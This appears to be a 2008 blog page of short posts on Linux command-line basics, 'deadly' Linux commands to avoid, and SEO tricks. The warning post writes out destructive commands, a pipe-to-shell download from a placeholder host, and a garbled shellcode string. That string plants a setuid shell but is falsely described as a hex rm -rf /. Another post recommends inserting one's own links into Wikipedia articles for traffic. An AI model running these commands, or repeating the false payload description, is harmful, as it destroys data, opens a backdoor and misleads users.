Logo Background RSS

» sps

  • Fear of Linux (CLI)
    By on October 29th, 2008 | 2 Comments2 Comments Comments

    Fear is a painful emotion by the expectation of evil, or the apprehension of impending danger; anxiety; solicitude; alarm; dread; like our fear of ghosts and zombies as a child, and our fear of failure and death as an adult. I’m here to help Linux newbies defeat their fear, but not the kind of fear that I was talking about. Instead, I’m here to assist those who are suffering from CLI-phobia, or the “fear of Command Line Interface”. I will list some indispensable commands and keyboard shortcuts with their corresponding functions to guide the fearful in their journey to conquer the horror of using the Linux terminal..

    Essential Commands:

    Commands – Functions

    Directory navigation

    Pwd – “Print working directory” – show what dir you’re in.

    ls – List the contents of a dir.

    ls –l – List the contents of a dir and show additional info of the files.

    ls –a – List all files, including hidden files.

    cd – Change directory.

    cd – Go to the parent directory.

    Examining files

    file – Determine the type of a file.

    cat – Concatenate a file.

    less – View text files and paginate them if needed.

    Manipulating files and directories

    p – Copy a file.

    cp –i – Copy a file and ask before overwriting.

    cp –r – Copy a directory with its contents.

    mv – Move or rename a file.

    mv –i – Move or rename a file and ask before overwriting.

    rm – Remove a file.

    rm –r – Remove a directory with its contents.

    rm –i – Ask before removing a file. Good to use with the -r option.

    mkdir – Make a directory.

    rmdir – Remove an empty directory.


    Essential Keyboard Shortcuts:

    Ctrl + Alt + F1
    Switch to the first virtual terminal. In Linux, you can have several virtual terminals at the same time. The default is 6.

    Ctrl + Alt + Fn
    Switch to the nth virtual terminal. Because the number of virtual terminals is 6 by default, n = 1…6.

    tty
    Typing the tty command tells you what virtual terminal you’re currently working in.

    Ctrl + Alt + F7
    Switch to the GUI. If you have X Window System running, it runs in the seventh virtual terminal by default. If X isn’t running, this terminal is empty.

    Ctrl + Alt + +
    Switch to the next resolution in the X Window System. This works if you’ve configured more than one resolution for your X server. Note that you must use the + in your numpad.

    Ctrl + Alt + -
    Switch to the previous X resolution. Use the – in your numpad.

    MiddleMouseButton
    Paste the highlighted text. You can highlight the text with your left mouse button (or with some other highlighting method, depending on the application you’re using), and then press the middle mouse button to paste. This is the traditional way of copying and pasting in the X Window System, but it may not work in some X applications.

    If you have a two-button mouse, pressing both of the buttons at the same time has the same effect as pressing the middle one. If it doesn’t, you must enable 3-mouse-button emulation.

    This works also in text terminals if you enable the gpm service.

    Ctrl + Alt + Backspace
    Kill the X server. Use this if X crashes and you can’t exit it normally. If you’ve configured your X Window System to start automatically at bootup, this restarts the server and throws you back to the graphical login screen.

    Home or Ctrl + a
    Move the cursor to the beginning of the current line.

    End or Ctrl + e
    Move the cursor to the end of the current line.

    Alt + b
    Move the cursor to the beginning of the current or previous word. Note that while this works in virtual terminals, it may not work in all graphical terminal emulators, because many graphical applications already use this as a menu shortcut by default.

    Alt + f
    Move the cursor to the end of the next word. Again, like with all shortcuts that use Alt as the modifier, this may not work in all graphical terminal emulators.

    Tab
    Autocomplete commands and file names. Type the first letter(s) of a command, directory or file name, press Tab and the rest is completed automatically! If there are more commands starting with the same letters, the shell completes as much as it can and beeps. If you then press Tab again, it shows you all the alternatives.

    This shortcut is really helpful and saves a lot of typing! It even works at the lilo prompt and in some X applications.

    Ctrl + u
    Erase the current line.

    Ctrl + k
    Delete the line from the position of the cursor to the end of the line.

    Ctrl + w
    Delete the word before the cursor.

    Shift + PageUp
    Scroll terminal output up.

    Shift + PageDown
    Scroll terminal output down.

    clear
    The clear command clears all previously executed commands and their output from the current terminal.

    Ctrl + l
    Does exactly the same as typing the clear command.

    reset
    If you mess up your terminal, use the reset command. For example, if you try to cat a binary file, the terminal starts showing weird characters. Note that you may not be able to see the command when you’re typing it.

    history
    When you type the history command, you’ll see a list of the commands you executed previously.

    ArrowUp or Ctrl + p
    Scroll up in the history and edit the previously executed commands. To execute them, press Enter like you normally do.

    ArrowDown or Ctrl + n
    Scroll down in the history and edit the next commands.

    Ctrl + r
    Find the last command that contained the letters you’re typing. For example, if you want to find out the last action you did to a file called “file42.txt”, you’ll press Ctrl + r and start typing the file name. Or, if you want to find out the last parameters you gave to the “cp” command, you’ll press Ctrl + r and type in “cp”.

    Ctrl + c
    Kill the current process.

    Ctrl + z
    Send the current process to background. This is useful if you have a program running, and you need the terminal for awhile but don’t want to exit the program completely. Then just send it to background with Ctrl+z, do whatever you want, and type the command fg to get the process back.

    Ctrl + d
    Log out from the current terminal. If you use this in a terminal emulator under X, this usually shuts down the terminal emulator after logging you out.

    Ctrl + Alt + Del
    Reboot the system. You can change this behavior by editing /etc/inittab if you want the system to shut down instead of rebooting.

  • 7 Deadly Linux Commands
    By on October 29th, 2008 | 1 Comment1 Comment Comments

    If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

    1. Code:


    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
    “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
    “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
    “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
    “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
    “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
    “x6ex2fx73x68x00x2dx63x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    :( ){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

  • Think Twice Before Buying A Domain
    By on October 5th, 2008 | No Comments Comments

    You have to wonder about the sense of humor of some web developers.

    All of these are legitimate companies that didn’t spend quite enough time considering how their online names might appear … and be misread.

    1. Who Represents is where you can find the name of the agent that represents any celebrity. Their Web site is www.whorepresents.com

    2. Experts Exchange is a knowledge base where programmers can exchange advice and views at www.expertsexchange.com

    3. Looking for a pen? Look no further than Pen Island at www.penisland.net

    4. Need a therapist? Try Therapist Finder at www.therapistfinder.com

    5. There’s the Italian Power Generator company, www.powergenitalia.com

    6. And don’t forget the Mole Station Native Nursery in New South Wales , www.molestationnursery.com

    7. If you’re looking for IP computer software, there’s always www.ipanywhere.com

    8. The First Cumming Methodist Church Web site is www.cummingfirst.com

    9. And the designers at Speed of Art await you at their wacky Web site, www.speedofart.com

  • Get Backlinks
    By on October 5th, 2008 | 1 Comment1 Comment Comments

    Many webmasters use and recommend forums to get backlinks for their websites. The good thing about forums is they can not only give you backlinks but also give you targeted traffic (assuming you are posting on relevant forums). Many forums will allow you to post 2 or more signatures and the signature links are dofollow links.

    Forums give you following places to get a backlink from:
    1. Signatures, note that you can include links to your internal pages as well.
    2. Homepage – Almost all forums will allow you to have a homepage link.
    3. Latest blog post
    4. Solicitations and Announcements for directories – If you own a directory, you get a direct link from a post that stays with the forum even if you get banned.
    (Please note that your signature links go away when your account is banned in a forum).
    5. Review my website: Most webmaster forums (and many non-webmaster forums) would include a section called ‘Review my website’, you can post your link there to get opinions about website’s design, navigation and other feedback from other forum members.

    That’s a lot of links you can get from a forum and one shouldn’t start spamming the forum for these backlinks. Forums are very useful learning resource and can be used to build lasting business relations.

    Where is my sneaky tip? Oh yes, I am coming to that right away !!

    What if you have a plain simple website that doesn’t have RSS, you are loosing out one ‘latest blog’ link. You can create a file in the following format:

    <?xml version=”1.0″ encoding=”UTF-8″?>
    <rss version=“2.0″

    xmlns:content=http://purl.org/rss/1.0/modules/content/
    xmlns:wfw=http://wellformedweb.org/CommentAPI/

    xmlns:dc=http://purl.org/dc/elements/1.1/
    xmlns:atom=http://www.w3.org/2005/Atom

    xmlns:sy=http://purl.org/rss/1.0/modules/syndication/
    >

    <channel>
    <title>PUT YOUR SITE TITLE HERE</title>
    <link>PUT YOUR URL HERE</link>

    <description>A GOOD DESCRIPTION</description>
    <pubDate>Sat, 24 Jan 2009 14:51:38 +0000</pubDate>

    <language>en</language>
    <sy:updatePeriod>hourly</sy:updatePeriod>

    <sy:updateFrequency>1</sy:updateFrequency>
    <item>
    <title>THIS WILL SHOW UP AS TITLE OF YOUR LATEST BLOG</title>

    <link>THIS IS WHERE PEOPLE WILL GO WHEN THEY CLICK ON YOUR LINK</link>
    <pubDate>Sat, 24 Jan 2009 14:50:04 +0000</pubDate>

    <dc:creator>admin</dc:creator>

    <description><![CDATA[WRITE A QUICK DESCRIPTION HERE]]></description>

    <content:encoded><![CDATA[WRITE ANOTHER QUICK ONE.
    ]]>
    </content:encoded>
    </item>

    </channel>
    </rss>

    Upload this file to your server as .xml or .rss extention, don’t forget to put URL of your website (even internal links are fine).

    Now go to control panel of your forum, edit profile (or options in some cases) and put URL if the page you just uploaded.

    Voila, your plain jane website has a latest blog entry. You can put any of your internal page to get a backlink for that page.

    Author is the owner of Directory Submission Service offering quality manual submissions to directories. He also maintains a Free Directory List.
  • How To Get Traffic From Wikipedia To Your Blog
    By on October 5th, 2008 | 2 Comments2 Comments Comments

    Today I am going to tell you a very simple trick to get traffic from Wikipedia.. Lets start..

    1) Sign Up an account with wikipedia.
    2) Find articles matching your niche
    3) Go to the external link section on the article
    4) Click Edit and Add your URL there

    Make sure you add relevant articles only else they will be marked as spam and your account may also get disabled.
    You can add url to as many articles as you wish but all should be relevant.. I have been doing this on few of my blogs and I get around 200-500 UV from Wikipedia daily..

    Try It

  • The Last Google Algorithm Update (August 2008)
    By on August 20th, 2008 | 1 Comment1 Comment Comments

    Hello guys,

    Today I am going to tell you about The Last Google Algorithm Update (August 2008), It seems like the last update was a nightmare for me, all my keywords dropped. I am still working hard to see if I can get them back. Anyways here is what I complied after researching a lot on the internet

    1) Link Popularity
    Now if you want to get top rankings you will have to focus on inbound links in order to see your website on google’s top #10

    2) Domain Age
    This is really a nightmare for me now! my website is a month old and is no where to be seen on google! Happened with almost all my friends with new domain. We used to see new websites ranking high if they have good content but using good content also I was not able to rank high! Now it all depends on the age of the domain!!

    3) Page Rank
    Now PageRank will be a factor for ranking high! If you have good PR you rank High

    Please note these points which I have listed are not of my own! These may also be wrong.. but I have experienced it myself so I am letting you guys know about it. Now I’m really depressed if that’s Google’s new Algorithm due to this new websites will be no where to be seen!

    PS: I just see I got few of my keywords back! blah blah

    The Last Google Algorithm Update (August 2008)